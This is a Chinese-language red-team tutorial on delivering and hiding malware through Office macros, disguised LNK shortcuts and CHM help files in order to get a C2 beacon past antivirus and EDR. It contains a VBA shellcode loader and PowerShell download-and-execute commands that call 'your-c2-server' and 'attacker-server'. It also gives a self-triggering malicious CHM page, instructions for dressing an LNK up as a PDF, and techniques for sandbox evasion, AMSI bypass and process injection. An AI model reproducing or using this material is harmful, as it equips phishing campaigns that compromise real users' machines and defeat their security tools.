1. 项目概述从宏到LNK与CHM的免杀渗透路径在实战攻防演练和红队评估中绕过终端安全防护EDR/AV实现载荷的投递与执行始终是核心挑战之一。传统的可执行文件PE直接投递早已寸步难行攻击者必须将目光转向那些看似无害、却在办公环境中广泛流通的文件格式。Office宏、LNK快捷方式以及CHM电子书正是这类“披着羊皮”的绝佳载体。这个项目标题“153-渗透实战篇Office宏利用LNK快捷方式CHM电子书免杀上线技巧”精准地勾勒出了一条经典的、层层递进的社会工程学与免杀技术结合的渗透路径。它不仅仅是在讲几个独立的技巧而是在构建一套从初始接触点到最终建立C2命令与控制连接的完整战术链。这条路径的核心逻辑在于利用目标环境的“信任”和软件的“功能”。Office文档.doc, .xls等是日常办公的必需品用户对其警惕性相对较低LNK文件作为系统快捷方式其本质是包含命令的配置文件常被用于启动程序或执行命令CHM已编译的HTML帮助文件则是Windows系统内置支持的一种交互式文档格式可以执行脚本。攻击者的目标就是将恶意代码巧妙地嵌入这些格式中并利用其原生功能或设计特性来触发执行同时规避杀毒软件的静态特征扫描和行为监控。整个过程涉及社会工程学诱饵制作、载荷免杀处理、多种格式的利用技巧以及最终的权限维持是一个综合性极强的实战课题。2. 核心思路与战术链拆解2.1 战术链全景从诱饵到上线一个成功的渗透始于一个可信的诱饵终于一个稳定的控制通道。本标题所涉及的三种技术可以独立使用也可以组合成一条更隐蔽的链。第一阶段诱饵投递与初始执行Office宏 / LNK这是攻击的起点。攻击者通常会通过钓鱼邮件、即时通讯工具或U盘摆渡等方式向目标投递一个恶意文档或一个伪装成文档的LNK文件。Office宏利用的是VBAVisual Basic for Applications脚本的自动执行能力当用户启用宏后恶意代码便能在Office进程如winword.exe, excel.exe的上下文中运行。而LNK文件则更为直接它可以通过其“目标”字段或“图标”字段藏匿恶意命令当用户双击时系统会解析并执行这些命令。这一阶段的目标是获得一个初始的执行点通常是一个无文件落地的、在内存中运行的PowerShell或.NET加载器。第二阶段载荷投递与提权CHM / 后续下载在获得初始执行能力后攻击者往往不会直接将功能完整的后门如Meterpreter, Cobalt Strike Beacon放在第一阶段的载荷里因为那样体积大、特征明显。更常见的做法是让第一阶段的载荷Stager去一个受控的服务器下载第二阶段的载荷Stage。CHM文件在这里可以扮演两个角色1) 作为第二阶段的载荷本身利用其hh.exe进程执行内嵌的JScript/VBScript2) 作为第一阶段的投递载体即诱饵本身就是一个CHM文件。CHM的优点是hh.exe是微软签名的合法程序用它来加载脚本具有一定的“白名单”信任优势。第三阶段免杀贯穿与持久化“免杀”并非一个独立的步骤而是贯穿整个战术链的灵魂。它需要在每一个环节进行考量静态免杀对Shellcode、PE文件进行编码、加密、混淆改变其二进制特征避免被特征码扫描命中。动态免杀让恶意代码的行为“看起来正常”。例如宏代码模仿正常的文档操作PowerShell脚本使用合法的系统管理命令作为掩护进程注入选择信誉较高的进程如explorer.exe,svchost.exe。逻辑免杀利用系统或软件的设计逻辑。例如LNK文件利用的是系统解析快捷方式的正常功能CHM利用的是帮助文档执行脚本的合法特性。攻击者是在“合规地”使用这些功能做“不合规”的事。2.2 为什么是这三者优势与场景分析选择Office宏、LNK和CHM是基于对目标环境、防御现状和攻击成本的综合考量。Office宏的优势高接受度.docx, .xlsx文件是办公标配用户心理防线低。功能强大VBA可以调用Windows API、执行系统命令、进行网络通信几乎能完成所有基础操作。内存操作可以方便地实现无文件攻击将Shellcode直接注入到进程内存中减少磁盘痕迹。LNK快捷方式的优势极度隐蔽一个LNK文件本身很小其恶意命令隐藏在属性中普通文件管理器不直接显示。可以伪装成PDF、Word文档图标极具迷惑性。执行灵活不仅可以执行exe更能直接执行复杂的CMD或PowerShell命令非常适合用于下载并执行下一阶段载荷。系统信任LNK由系统外壳explorer.exe直接处理其触发的子进程如cmd.exe,powershell.exe都是系统核心程序行为监控的警报优先级可能被调低。CHM电子书的优势白进程利用最终执行脚本的进程是微软签名的hh.exe。许多EDR对来自高信誉签名进程的活动监控会相对宽松。交互性CHM支持HTML和脚本可以制作成看起来非常专业的“帮助文档”、“产品手册”社会工程学价值高。绕过某些限制在某些严格限制PowerShell执行策略的环境中通过CHM调用JScript可能是一条可行的备用路径。注意随着微软持续加固宏的执行默认已被禁用需用户点击“启用内容”LNK的远程路径加载也受到限制CHM的某些高危功能在新版Windows中也被削弱。因此实战中需要结合具体目标系统版本和安全策略进行测试和调整并常备B计划如ISO镜像、PDF漏洞等。3. Office宏利用的深度解析与免杀实践3.1 宏代码的核心结构与免杀要点一个用于渗透的宏其核心结构通常包含以下几个部分每一部分都需考虑免杀诱导性文档内容这是社会工程学部分。文档本身要有吸引目标打开并启用宏的内容如“薪资调整方案”、“重要会议纪要”、“请查看附件中的发票”等。格式要专业甚至可以加入公司Logo。AutoOpen 或 Document_Open 子过程这是宏的自动执行入口。当用户启用宏并打开文档时这个过程会自动运行。为了规避简单的关键字检测这个过程的命名可以稍作混淆。Shellcode 加载器这是技术核心。宏本身不直接包含功能完整的后门而是包含一段加载器代码。这段代码负责获取Shellcode可能以字符串形式硬编码在宏中需做混淆也可能从远程服务器下载更灵活便于更换载荷。内存分配与执行调用Windows API如VirtualAlloc,CreateThread,RtlMoveMemory在内存中开辟空间将Shellcode复制进去并创建一个线程执行它。这个过程被称为“进程注入”通常是注入到宏自身的Word或Excel进程。关键免杀技巧API声明混淆不要直接使用Declare Function VirtualAlloc Lib “kernel32” ...这样明显的声明。可以将其拆分成字符串然后用VBA.CreateObject(“ScriptControl”)或GetProcAddress的方式动态调用。字符串混淆将关键的API名称、URL、Shellcode进行编码如Base64、Hex、XOR加密。在代码中内置一个简单的解码函数。代码逻辑混淆插入大量无用的代码、变量、循环改变代码的静态结构。使用VBA.StrReverse,Chr()函数拼接字符串等方式构造关键参数。环境探测与延迟执行在真正执行恶意代码前先检查是否有沙箱或分析环境如检查磁盘大小、内存大小、运行时间、特定进程是否存在。可以加入随机延迟规避自动化分析。3.2 实战案例生成一个免杀宏载荷假设我们使用Cobalt Strike生成一个PowerShell格式的Stageless载荷payload.ps1。直接将其放入宏中特征太明显。我们需要一个加载器。步骤一生成并处理Shellcode在Cobalt Strike中生成一个windows/exec的Payload输出格式为C。这实际上是一段调用WinExec执行我们命令的Shellcode。我们让这个Shellcode去执行一个高度混淆的PowerShell命令该命令从远程下载真正的Stage并执行。将生成的C数组形式的Shellcode通过一个简单的Python脚本进行XOR加密并转换成Hex字符串或Base64字符串。步骤二编写宏加载器Sub AutoOpen() MyMacro End Sub Sub Document_Open() MyMacro End Sub Sub MyMacro() On Error Resume Next ‘ 避免错误弹窗 ‘ 1. 混淆的Shellcode此处为示例实际很长 Dim encShellcode As String encShellcode “4D5A...这里是XOR加密后的Hex字符串” ‘ 2. 解码函数简单的XOR解密 Dim shellcode As String shellcode DecodeXOR(encShellcode, “MyKey”) ‘ 3. 将Hex字符串转换为字节数组 Dim b() As Byte b HexToBytes(shellcode) ‘ 4. 动态调用Windows API关键免杀点 Dim addr As LongPtr, threadId As Long ‘ 使用GetProcAddress和GetModuleHandle来解析API避免声明 Dim kernel32 As LongPtr kernel32 GetModuleHandle(“kernel32.dll”) addr VirtualAlloc(0, UBound(b), H1000, H40) ‘ MEM_COMMIT, PAGE_EXECUTE_READWRITE If addr 0 Then CopyMemory addr, VarPtr(b(0)), UBound(b) 1 threadId CreateThread(0, 0, addr, 0, 0, 0) If threadId 0 Then WaitForSingleObject threadId, HFFFFFFFF End If End Sub ‘ 辅助函数Hex字符串转字节数组、XOR解密等需自行实现 Function HexToBytes(hexString As String) As Byte() ‘ ... 实现代码 ... End Function Function DecodeXOR(encText As String, key As String) As String ‘ ... 实现代码 ... End Function ‘ 使用Declare语句声明必要的API但在最终版本中应尽可能替换为动态调用 Private Declare PtrSafe Function VirtualAlloc Lib “kernel32” (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr ‘ ... 其他API声明 ...实操心得上述代码中VirtualAlloc等API的声明仍然是静态的这是为了示例清晰。在真实免杀环境中应通过GetProcAddress动态获取这些函数地址彻底消除声明特征。此外整个宏代码可以放入一个Word模板.dotm中并通过远程加载模板的方式执行这样恶意文档本身甚至可以不含宏代码进一步规避检测。4. LNK快捷方式利用的诡计与配置4.1 LNK文件的结构与攻击面LNK文件本质是一个二进制文件其中包含了目标路径、参数、图标、工作目录等信息。对于攻击者而言最关键的字段是Target目标指定要运行的程序路径。Arguments参数传递给目标程序的参数。Icon Location图标位置指定显示的图标。这是伪装的关键。攻击手法通常有两种目标字段直接执行命令将Target设置为cmd.exe或powershell.exe并在Arguments中放入编码后的恶意命令。例如启动PowerShell下载并执行载荷。利用图标加载漏洞已大部分修复早期可以将Target设置为一个合法的程序如notepad.exe而将Icon Location指向一个恶意的DLL。当系统加载图标时会执行该DLL中的代码。这种方法在现代Windows上已受到严格限制。4.2 制作一个高欺骗性LNK我们的目标是制作一个LNK它看起来像一个PDF文档双击后会静默执行一个PowerShell命令从远程下载并执行后门。步骤一准备恶意命令首先我们需要一个高度混淆、免杀的PowerShell命令。可以使用Invoke-Expression配合Base64编码的命令或者使用DownloadString与IEX的组合。powershell -w hidden -ep bypass -c “$x(New-Object Net.WebClient).DownloadString(‘http://your-c2-server/payload.ps1’); iex $x”为了免杀我们需要对这个命令进行进一步处理拆分字符串。使用替代的下载方式如Start-BitsTransfer。对关键URL和代码进行Base64编码。最终命令可能看起来像powershell -w h -ep b -enc SQBFAFgAIAAoAE4AZQB3AC...很长的Base64步骤二创建LNK文件在桌面右键 - 新建 - 快捷方式。在“请键入对象的位置”中输入我们处理后的PowerShell命令。注意这里需要填写powershell.exe的完整路径或者直接以powershell开头系统会自动查找。示例C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC...点击下一步命名为“2024年度财务报告.pdf.lnk”。注意系统可能会隐藏已知扩展名显示为“2024年度财务报告.pdf”完成创建。步骤三修改图标进行伪装右键新建的LNK文件 - 属性。在“快捷方式”选项卡点击“更改图标”。点击“浏览”选择一个真实的PDF阅读器可执行文件如AcroRd32.exe从中选择PDF文档的图标。或者直接指向一个.ico图标文件。点击确定。现在这个LNK文件看起来就像一个PDF文档了。步骤四高级属性与规避运行方式在属性中可以设置为“最小化”运行这样弹出的黑框会一闪而过减少用户注意。起始位置可以设置为某个临时目录增加迷惑性。注意现代Windows和EDR会对从LNK启动的、参数异常长的PowerShell命令产生警觉。因此命令的混淆和分拆至关重要。另一种思路是让LNK执行一个看似无害的合法程序如mshta.exe并通过参数传递一个远程的HTA脚本URL由HTA脚本执行后续操作实现攻击链的转移。踩坑记录LNK文件对命令长度有限制约260字符复杂的PowerShell命令很容易超限。解决方案是1) 将核心命令放在远程服务器上LNK只执行下载命令2) 使用短域名和URL缩短服务3) 将命令写入一个临时.ps1脚本然后执行。另外在制作完成后务必在虚拟机或测试机中测试确保其能在目标系统环境如Windows 10/11 有无AppLocker等下按预期执行。5. CHM电子书利用的原理与构造5.1 CHM的执行机制与攻击向量CHM文件是一个压缩包里面包含了HTML页面、图片、索引和项目文件.hhp。其攻击面主要在于CHM支持在HTML中嵌入OBJECT标签该标签可以调用hhctrl.ocx控件来执行系统命令或脚本。一个典型的恶意CHM页面代码结构如下!DOCTYPE html html head title帮助文档/title /head body h1欢迎使用本系统帮助/h1 p请点击下方按钮查看详细说明.../p object id“malicious” classid“clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11” width“0” height“0” param name“Command” value“ShortCut” param name“Button” value“Bitmap:shortcut” param name“Item1” value‘,cmd.exe,/c powershell -w hidden -c “iex (New-Object Net.WebClient).DownloadString(‘http://attacker-server/payload.ps1’)”’ param name“Item2” value“273,1,1” /object script // 可以添加自动触发脚本 setTimeout(function() { document.getElementById(‘malicious’).Click(); }, 3000); /script /body /html关键点在于Item1参数的值,cmd.exe,/c ...。这个语法会被hh.exe解析并执行。Item2参数通常用于指定窗口位置和大小这里273,1,1可能表示最小化。5.2 使用工具快速生成恶意CHM手动编写.hhp项目文件并编译比较繁琐。我们可以使用一些工具来简化流程例如Microsoft HTML Help Workshop官方工具但需手动配置或者一些第三方脚本。这里介绍一种使用Python脚本配合hhp工具的方法准备恶意HTML文件将上述HTML代码保存为index.html。准备项目文件.hhp[OPTIONS] Compiled filemalicious.chm Contents filemalicious.hhc Index filemalicious.hhk Default topicindex.html [FILES] index.html保存为malicious.hhp。使用hhp工具编译hhp是HTML Help Workshop的命令行编译工具。执行命令“C:\Program Files (x86)\HTML Help Workshop\hhp” malicious.hhp。这将在同目录下生成malicious.chm。更隐蔽的利用方式利用CHM中的JScript执行除了通过OBJECT标签调用命令行还可以直接在HTML中嵌入script标签执行JScript。JScript可以通过ActiveXObject调用WScript.Shell来执行命令或者进行网络通信。由于JScript在CHM的上下文中运行其父进程是hh.exe具有一定欺骗性。社会工程学包装生成的CHM文件应该有一个专业的封面、目录和内容。可以伪装成“员工手册”、“软件使用指南”、“项目方案”等。内容可以是从网上复制粘贴的真实技术文档增加可信度。注意事项现代Windows Defender和其他安全软件已经加强了对CHM文件中恶意OBJECT标签和脚本的检测。直接使用上述经典方法生成的CHM可能被立即查杀。因此免杀处理同样必要代码混淆对HTML和脚本中的关键字符串如cmd.exe,powershell, URL进行编码。行为分离让CHM文件只做一件事比如下载一个加密的文本文件到临时目录。然后由另一个看似无害的脚本可能是CHM中的另一段代码来读取、解密和执行该文件。将恶意行为拆分成多个步骤。利用白名单程序让CHM调用系统自带的、信誉高的程序如msiexec,rundll32来间接执行载荷实现“Living off the Land”。6. 免杀上线的综合技巧与问题排查6.1 贯穿三阶段的免杀策略免杀不是单一技术而是一种对抗思维。针对Office宏、LNK、CHM我们需要在以下层面进行综合防御规避1. 载荷生成阶段C2工具端使用加密或编码的Stager在Cobalt Strike/Metasploit生成载荷时选择各种编码器如shikata_ga_nai并多次迭代。但注意静态编码对现代AV效果有限需结合动态。自定义反射式DLL/Shellcode加载器自己编写加载器使用不常见的API调用序列、内存操作技巧如NtCreateSectionNtMapViewOfSection、或早期APINt系列来替代常见API。分离式载荷Stager尽量小只负责下载。Stage可以放在远程并使用自定义的加密协议传输。2. 投递载体阶段宏/LNK/CHM静态混淆宏变量名随机化、插入垃圾代码、字符串加密、流程控制混淆将顺序代码改为跳转。LNK对PowerShell命令进行多层Base64编码、使用短链接、将命令拆分成环境变量拼接。CHM混淆HTML中的JavaScript/VBScript将关键参数隐藏在文件注释或非标准标签中。动态行为规避环境探测在所有载体代码开始时检查是否在沙箱/虚拟机中检查进程列表、硬件信息、用户交互行为。如果是则执行无害操作或退出。延迟执行加入随机睡眠时间规避沙箱的动态分析超时。条件执行只有当满足特定条件如特定域名解析成功、存在某个文件、系统语言为中文时才执行恶意代码。3. 执行阶段内存中进程注入目标选择不要注入到新创建的、可疑的进程。优先注入到explorer.exe,svchost.exe,dllhost.exe等大量存在的、高信誉的系统进程中。API调用链混淆使用直接系统调用Syscall而非通过kernel32.dll的标准API可以绕过许多基于用户态Hook的EDR检测。内存加密在Shellcode不执行时将其所在内存页面加密执行时解密执行完再加密。这可以对抗内存扫描。6.2 常见问题与排查实录在实战中从制作到成功上线可能会遇到各种问题。以下是一个常见问题排查表问题现象可能原因排查思路与解决方案宏文档被杀软直接删除宏代码静态特征被识别。1. 检查宏代码中是否含有明显的恶意字符串如VirtualAlloc,CreateThread,http://。2. 加强字符串加密和代码混淆。3. 尝试使用更冷门的API或加载方式如通过COM对象或.NET反射加载。用户启用宏后无反应宏代码执行失败或Shellcode未正确执行。1. 在测试环境启用Office开发者模式使用Debug.Print或消息框输出调试信息。2. 检查Shellcode解密函数是否正确。3. 检查API调用是否因位数问题失败Office有32/64位之分需用LongPtr。4. 可能触发了AMSI反恶意软件扫描接口。尝试使用AMSI绕过技术如修改内存中的AMSI上下文。LNK文件点击后闪退无网络连接PowerShell命令执行失败或被拦截。1. 检查LNK属性中的命令是否因长度或格式错误被截断。2. 在测试机手动运行该PowerShell命令看是否有错误信息。3. 检查目标机器的PowerShell执行策略Get-ExecutionPolicy尝试使用-ep bypass参数。4. 可能被Windows Defender的ASR规则拦截。尝试使用rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “等替代执行方式。CHM文件打开后被杀软报毒CHM内的脚本或OBJECT标签被特征识别。1. 使用7-Zip打开CHM检查内部HTML文件内容是否被混淆。2. 尝试不使用OBJECT标签改用CHM内的JScript直接调用WScript.Shell并对调用代码进行混淆。3. 将恶意行为转移到CHM加载的远程资源如图片、iframe实现分离。载荷成功执行但无法回连C2网络连通性问题或Payload配置错误。1. 在目标机器上使用ping、nslookup、Test-NetConnection检查域名解析和端口连通性。2. 检查C2监听器是否正常运行防火墙规则是否正确。3. 检查生成的Payload是否与监听器的协议、端口、配置如HTTP Host Header匹配。4. 可能是出口流量被企业防火墙或代理拦截。尝试使用更常见的端口如443, 80或协议HTTPS。上线后很快被EDR告警或进程终止内存或行为特征被EDR检测。1. 检查注入的进程是否过于敏感。尝试注入到更常见的进程。2. 检查是否有可疑的API调用模式如连续调用VirtualAlloc,WriteProcessMemory,CreateRemoteThread。尝试使用其他内存分配和执行技术如进程镂空Process Hollowing、APC注入等。3. 使用Cobalt Strike的sleep_mask等功能在睡眠时加密内存中的Beacon。4. 考虑使用更高级的C2框架或自定义通信协议模拟合法流量。个人经验之谈免杀是一场持续的猫鼠游戏。没有一劳永逸的方法。最有效的策略是多样化和情报驱动。平时应多收集不同安全厂商的检测逻辑可以通过公开的沙箱报告、博客了解他们关注哪些API、哪些字符串、哪些行为序列。在制作载荷时尽量避开这些热点。例如如果当前各大厂商都在盯着CreateRemoteThread那就试试用QueueUserAPC或者SetThreadContextResumeThread的方式进行线程执行。同时保持载荷的轻量化和模块化一个功能单一的小Stager远比一个全功能的大马更难被检测。最后社会工程学永远是最好用的“漏洞”一个制作精良、贴合场景的诱饵能极大地降低技术上的防御门槛。